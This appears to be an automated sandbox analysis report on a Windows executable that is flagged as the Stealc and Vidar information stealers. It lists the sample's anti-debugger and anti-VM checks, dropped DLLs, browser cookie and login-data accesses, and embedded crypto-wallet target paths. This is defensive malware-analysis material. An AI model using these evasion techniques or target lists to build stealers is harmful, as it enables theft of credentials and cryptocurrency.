Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B49A second address: 92B4A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FB1550A1F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070A5E second address: 5070ADE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB154CDAD6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FB154CDAD76h 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FB154CDAD71h 0x00000017 xor ecx, 3F815D66h 0x0000001d jmp 00007FB154CDAD71h 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007FB154CDAD70h 0x00000029 adc si, 1508h 0x0000002e jmp 00007FB154CDAD6Bh 0x00000033 popfd 0x00000034 popad 0x00000035 xchg eax, ebp 0x00000036 pushad 0x00000037 mov eax, 6E83349Bh 0x0000003c push eax 0x0000003d push edx 0x0000003e mov cl, F4h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070ADE second address: 5070AFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB1550A1F22h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070AFB second address: 5070B16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, F844h 0x00000007 movsx edi, ax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB154CDAD6Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070B16 second address: 5070B1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070B1C second address: 5070B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 945682 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7817E7 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00534910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00534910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0052DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0052E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0052BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005216D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005216D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0052F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00533EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00533EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005338B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_005338B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00534570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00534570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0052ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0052DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0052DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00521160 GetSystemInfo,ExitProcess,

0_2_00521160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: BGHIDGCA.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: BGHIDGCA.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: BGHIDGCA.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: BGHIDGCA.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: BGHIDGCA.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: BGHIDGCA.0.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: BGHIDGCA.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: BGHIDGCA.0.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: BGHIDGCA.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: BGHIDGCA.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000002.1470289846.00000000010E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BGHIDGCA.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: BGHIDGCA.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: BGHIDGCA.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: BGHIDGCA.0.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: BGHIDGCA.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: BGHIDGCA.0.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: BGHIDGCA.0.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: BGHIDGCA.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: BGHIDGCA.0.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: BGHIDGCA.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: BGHIDGCA.0.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: BGHIDGCA.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: BGHIDGCA.0.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: file.exe, 00000000.00000002.1470289846.000000000106E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: BGHIDGCA.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: BGHIDGCA.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: BGHIDGCA.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: BGHIDGCA.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.1470289846.00000000010B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: BGHIDGCA.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: BGHIDGCA.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: BGHIDGCA.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: BGHIDGCA.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58414
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59600
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58411
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58425
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58431
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58465

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CED5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CED5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005245C0 VirtualProtect ?,00000004,00000100,00000000

0_2_005245C0

Source: C:\Users\user\Desktop\file.exe

0_2_00539860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00539750 mov eax, dword ptr fs:[00000030h]

0_2_00539750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00537850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00537850

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CEAB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEAB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CEAB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5912, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00539600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00539600

Source: file.exe, file.exe, 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: <Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CEAB341 cpuid

0_2_6CEAB341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00537B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00536920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00536920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00537850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00537850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00537A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00537A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.520000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1470289846.000000000106E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1240754798.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5912, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5912, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1470289846.000000000106E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
